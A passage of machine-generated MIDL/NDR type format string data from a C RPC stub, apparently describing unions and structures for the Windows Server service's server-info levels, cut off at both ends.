*/\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1830 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1834 */\tNdrFcShort( 0xfca4 ),\t/* Offset= -860 (974) */\n/* 1836 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1838 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1840) */\n/* 1840 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1842 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1844 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1846 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1848 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1850 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1854 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1858 */\tNdrFcShort( 0xfc8c ),\t/* Offset= -884 (974) */\n/* 1860 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1862 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1864) */\n/* 1864 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1866 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1868 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 1870 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1872 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1874 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1878 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1882 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1884) */\n/* 1884 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1886 */\tNdrFcShort( 0x3033 ),\t/* 12339 */\n/* 1888 */\tNdrFcLong( 0x64 ),\t/* 100 */\n/* 1892 */\tNdrFcShort( 0x130 ),\t/* Offset= 304 (2196) */\n/* 1894 */\tNdrFcLong( 0x65 ),\t/* 101 */\n/* 1898 */\tNdrFcShort( 0x13e ),\t/* Offset= 318 (2216) */\n/* 1900 */\tNdrFcLong( 0x66 ),\t/* 102 */\n/* 1904 */\tNdrFcShort( 0x156 ),\t/* Offset= 342 (2246) */\n/* 1906 */\tNdrFcLong( 0x67 ),\t/* 103 */\n/* 1910 */\tNdrFcShort( 0x178 ),\t/* Offset= 376 (2286) */\n/* 1912 */\tNdrFcLong( 0x1f6 ),\t/* 502 */\n/* 1916 */\tNdrFcShort( 0x19c ),\t/* Offset= 412 (2328) */\n/* 1918 */\tNdrFcLong( 0x1f7 ),\t/* 503 */\n/* 1922 */\tNdrFcShort( 0x1b2 ),\t/* Offset= 434 (2356) */\n/* 1924 */\tNdrFcLong( 0x257 ),\t/* 599 */\n/* 1928 */\tNdrFcShort( 0x1e8 ),\t/* Offset= 488 (2416) */\n/* 1930 */\tNdrFcLong( 0x3ed ),\t/* 1005 */\n/* 1934 */\tNdrFcShort( 0x22c ),\t/* Offset= 556 (2490) */\n/* 1936 */\tNdrFcLong( 0x453 ),\t/* 1107 */\n/* 1940 */\tNdrFcShort( 0xfa1e ),\t/* Offset= -1506 (434) */\n/* 1942 */\tNdrFcLong( 0x3f2 ),\t/* 1010 */\n/* 1946 */\tNdrFcShort( 0xfa18 ),\t/* Offset= -1512 (434) */\n/* 1948 */\tNdrFcLong( 0x3f8 ),\t/* 1016 */\n/* 1952 */\tNdrFcShort( 0xfa12 ),\t/* Offset= -1518 (434) */\n/* 1954 */\tNdrFcLong( 0x3f9 ),\t/* 1017 */\n/* 1958 */\tNdrFcShort( 0xfa0c ),\t/* Offset= -1524 (434) */\n/* 1960 */\tNdrFcLong( 0x3fa ),\t/* 1018 */\n/* 1964 */\tNdrFcShort( 0xfa06 ),\t/* Offset= -1530 (434) */\n/* 1966 */\tNdrFcLong( 0x5dd ),\t/* 1501 */\n/* 1970 */\tNdrFcShort( 0xfa00 ),\t/* Offset= -1536 (434) */\n/* 1972 */\tNdrFcLong( 0x5de ),\t/* 1502 */\n/* 1976 */\tNdrFcShort( 0xf9fa ),\t/* Offset= -1542 (434) */\n/* 1978 */\tNdrFcLong( 0x5df ),\t/* 1503 */\n/* 1982 */\tNdrFcShort( 0xf9f4 ),\t/* Offset= -1548 (434) */\n/* 1984 */\tNdrFcLong( 0x5e2 ),\t/* 1506 */\n/* 1988 */\tNdrFcShort( 0xf9ee ),\t/* Offset= -1554 (434) */\n/* 1990 */\tNdrFcLong( 0x5e6 ),\t/* 1510 */\n/* 1994 */\tNdrFcShort( 0xf9e8 ),\t/* Offset= -1560 (434) */\n/* 1996 */\tNdrFcLong( 0x5e7 ),\t/* 1511 */\n/* 2000 */\tNdrFcShort( 0xf9e2 ),\t/* Offset= -1566 (434) */\n/* 2002 */\tNdrFcLong( 0x5e8 ),\t/* 1512 */\n/* 2006 */\tNdrFcShort( 0xf9dc ),\t/* Offset= -1572 (434) */\n/* 2008 */\tNdrFcLong( 0x5e9 ),\t/* 1513 */\n/* 2012 */\tNdrFcShort( 0xf9d6 ),\t/* Offset= -1578 (434) */\n/* 2014 */\tNdrFcLong( 0x5ea ),\t/* 1514 */\n/* 2018 */\tNdrFcShort( 0xf9d0 ),\t/* Offset= -1584 (434) */\n/* 2020 */\tNdrFcLong( 0x5eb ),\t/* 1515 */\n/* 2024 */\tNdrFcShort( 0xf9ca ),\t/* Offset= -1590 (434) */\n/* 2026 */\tNdrFcLong( 0x5ec ),\t/* 1516 */\n/* 2030 */\tNdrFcShort( 0xf9c4 ),\t/* Offset= -1596 (434) */\n/* 2032 */\tNdrFcLong( 0x5ee ),\t/* 1518 */\n/* 2036 */\tNdrFcShort( 0xf9be ),\t/* Offset= -1602 (434) */\n/* 2038 */\tNdrFcLong( 0x5f3 ),\t/* 1523 */\n/* 2042 */\tNdrFcShort( 0xf9b8 ),\t/* Offset= -1608 (434) */\n/* 2044 */\tNdrFcLong( 0x5f8 ),\t/* 1528 */\n/* 2048 */\tNdrFcShort( 0xf9b2 ),\t/* Offset= -1614 (434) */\n/* 2050 */\tNdrFcLong( 0x5f9 ),\t/* 1529 */\n/* 2054 */\tNdrFcShort( 0xf9ac ),\t/* Offset= -1620 (434) */\n/* 2056 */\tNdrFcLong( 0x5fa ),\t/* 1530 */\n/* 2060 */\tNdrFcShort( 0xf9a6 ),\t/* Offset= -1626 (434) */\n/* 2062 */\tNdrFcLong( 0x5fd ),\t/* 1533 */\n/* 2066 */\tNdrFcShort( 0xf9a0 ),\t/* Offset= -1632 (434) */\n/* 2068 */\tNdrFcLong( 0x5fe ),\t/* 1534 */\n/* 2072 */\tNdrFcShort( 0xf99a ),\t/* Offset= -1638 (434) */\n/* 2074 */\tNdrFcLong( 0x5ff ),\t/* 1535 */\n/* 2078 */\tNdrFcShort( 0xf994 ),\t/* Offset= -1644 (434) */\n/* 2080 */\tNdrFcLong( 0x600 ),\t/* 1536 */\n/* 2084 */\tNdrFcShort( 0xf98e ),\t/* Offset= -1650 (434) */\n/* 2086 */\tNdrFcLong( 0x602 ),\t/* 1538 */\n/* 2090 */\tNdrFcShort( 0xf988 ),\t/* Offset= -1656 (434) */\n/* 2092 */\tNdrFcLong( 0x603 ),\t/* 1539 */\n/* 2096 */\tNdrFcShort( 0xf982 ),\t/* Offset= -1662 (434) */\n/* 2098 */\tNdrFcLong( 0x604 ),\t/* 1540 */\n/* 2102 */\tNdrFcShort( 0xf97c ),\t/* Offset= -1668 (434) */\n/* 2104 */\tNdrFcLong( 0x605 ),\t/* 1541 */\n/* 2108 */\tNdrFcShort( 0xf976 ),\t/* Offset= -1674 (434) */\n/* 2110 */\tNdrFcLong( 0x606 ),\t/* 1542 */\n/* 2114 */\tNdrFcShort( 0xf970 ),\t/* Offset= -1680 (434) */\n/* 2116 */\tNdrFcLong( 0x607 ),\t/* 1543 */\n/* 2120 */\tNdrFcShort( 0xf96a ),\t/* Offset= -1686 (434) */\n/* 2122 */\tNdrFcLong( 0x608 ),\t/* 1544 */\n/* 2126 */\tNdrFcShort( 0xf964 ),\t/* Offset= -1692 (434) */\n/* 2128 */\tNdrFcLong( 0x609 ),\t/* 1545 */\n/* 2132 */\tNdrFcShort( 0xf95e ),\t/* Offset= -1698 (434) */\n/* 2134 */\tNdrFcLong( 0x60a ),\t/* 1546 */\n/* 2138 */\tNdrFcShort( 0xf958 ),\t/* Offset= -1704 (434) */\n/* 2140 */\tNdrFcLong( 0x60b ),\t/* 1547 */\n/* 2144 */\tNdrFcShort( 0xf952 ),\t/* Offset= -1710 (434) */\n/* 2146 */\tNdrFcLong( 0x60c ),\t/* 1548 */\n/* 2150 */\tNdrFcShort( 0xf94c ),\t/* Offset= -1716 (434) */\n/* 2152 */\tNdrFcLong( 0x60d ),\t/* 1549 */\n/* 2156 */\tNdrFcShort( 0xf946 ),\t/* Offset= -1722 (434) */\n/* 2158 */\tNdrFcLong( 0x60e ),\t/* 1550 */\n/* 2162 */\tNdrFcShort( 0xf940 ),\t/* Offset= -1728 (434) */\n/* 2164 */\tNdrFcLong( 0x610 ),\t/* 1552 */\n/* 2168 */\tNdrFcShort( 0xf93a ),\t/* Offset= -1734 (434) */\n/* 2170 */\tNdrFcLong( 0x611 ),\t/* 1553 */\n/* 2174 */\tNdrFcShort( 0xf934 ),\t/* Offset= -1740 (434) */\n/* 2176 */\tNdrFcLong( 0x612 ),\t/* 1554 */\n/* 2180 */\tNdrFcShort( 0xf92e ),\t/* Offset= -1746 (434) */\n/* 2182 */\tNdrFcLong( 0x613 ),\t/* 1555 */\n/* 2186 */\tNdrFcShort( 0xf928 ),\t/* Offset= -1752 (434) */\n/* 2188 */\tNdrFcLong( 0x614 ),\t/* 1556 */\n/* 2192 */\tNdrFcShort( 0xf922 ),\t/* Offset= -1758 (434) */\n/* 2194 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (2193) */\n/* 2196 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2198 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2200) */\n/* 2200 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2202 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2204 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2206 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2212) */\n/* 2208 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2210 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2212 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2214 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2216 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2218 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2220) */\n/* 2220 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2222 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 2224 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2226 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (2238) */\n/* 2228 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2230 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2232 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2234 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2236 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2238 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2240 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2242 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2244 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2246 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2248 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2250) */\n/* 2250 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2252 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 2254 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2256 */\tNdrFcShort( 0x12 ),\t/* Offset= 18 (2274) */\n/* 2258 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2260 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2262 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2264 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2266 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2268 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2270 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2272 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2274 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2276 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2278 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2280 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2282 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2284 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2286 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2288 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2290) */\n/* 2290 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2292 */\tNdrFcShort( 0x50 ),\t/* 80 */\n/* 2294 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2296 */\tNdrFcShort( 0x14 ),\t/* Offset= 20 (2316) */\n/* 2298 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 2300 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2302 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2304 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 2306 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2308 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2310 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2312 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2314 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2316 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2318 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2320 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2322 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2324 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2326 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2328 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2330 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2332) */\n/* 2332 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2334 */\tNdrFcShort( 0x48 ),\t/* 72 */\n/* 2336 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2338 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2340 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2342 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2344 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2346 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2348 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2350 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2352 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2354 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2356 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2358 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2360) */\n/* 2360 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2362 */\tNdrFcShort( 0xb0 ),\t/* 176 */\n/* 2364 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2366 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (2412) */\n/* 2368 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2370 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2372 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2374 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2376 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2378 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2380 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2382 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2384 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2386 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2388 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2390 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2392 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2394 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2396 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2398 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2400 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2402 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2404 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2406 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2408 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2410 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2412 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2414 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2416 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2418 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2420) */\n/* 2420 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2422 */\tNdrFcShort( 0xe8 ),\t/* 232 */\n/* 2424 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2426 */\tNdrFcShort( 0x3c ),\t/* Offset= 60 (2486) */\n/* 2428 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2430 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2432 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2434 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2438 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2440 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2442 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2444 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2446 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2448 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2450 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2452 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2454 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2456 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2458 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2460 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2462 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2464 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2466 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2468 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2470 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2472 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2474 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2476 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2478 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2480 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2482 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 2484 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2486 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2488 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2490 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 2492 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2494) */\n/* 2494 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2496 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 2498 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2500 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (2504) */\n/* 2502 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2504 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 2506 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2508 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2510 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (2512) */\n/* 2512 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 2514 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2516 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 2518 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2520 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2522 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2526 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2530 */\tNdrFcShort( 0xfd7a ),\t/* Offset= -646 (1884) */\n/* 2532 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 2534 */\tNdrFcShort( 0x3e ),\t/* Offset= 62 (2596) */\n/* 2536 */\t\n\t\t\t0x29,\t\t/* FC_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 2538 */\tNdrFcShort( 0x3 ),\t/* 3 */\n/* 2540 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x1,\t\t/* 1 */\n/* 2542 */\tNdrFcShort( 0x6 ),\t/* 6 */\n/* 2544 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2546 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (2546) */\n/* 2548 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2550 */\tNdrFcShort( 0xfff2 ),\t/* Offset= -14 (2536) */\n/* 2552 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2554 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 2556 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2558 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2560 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2562 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2564 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2566 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2570 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2574 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 2576 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2578 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 2580 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 2582 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2586 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 2590 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 2592 */\tNdrFcShort( 0xffcc ),\t/* Offset= -52 (2540) */\n/* 2594 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 2596 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 2598 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 2600 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 2602 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (2608) */\n/* 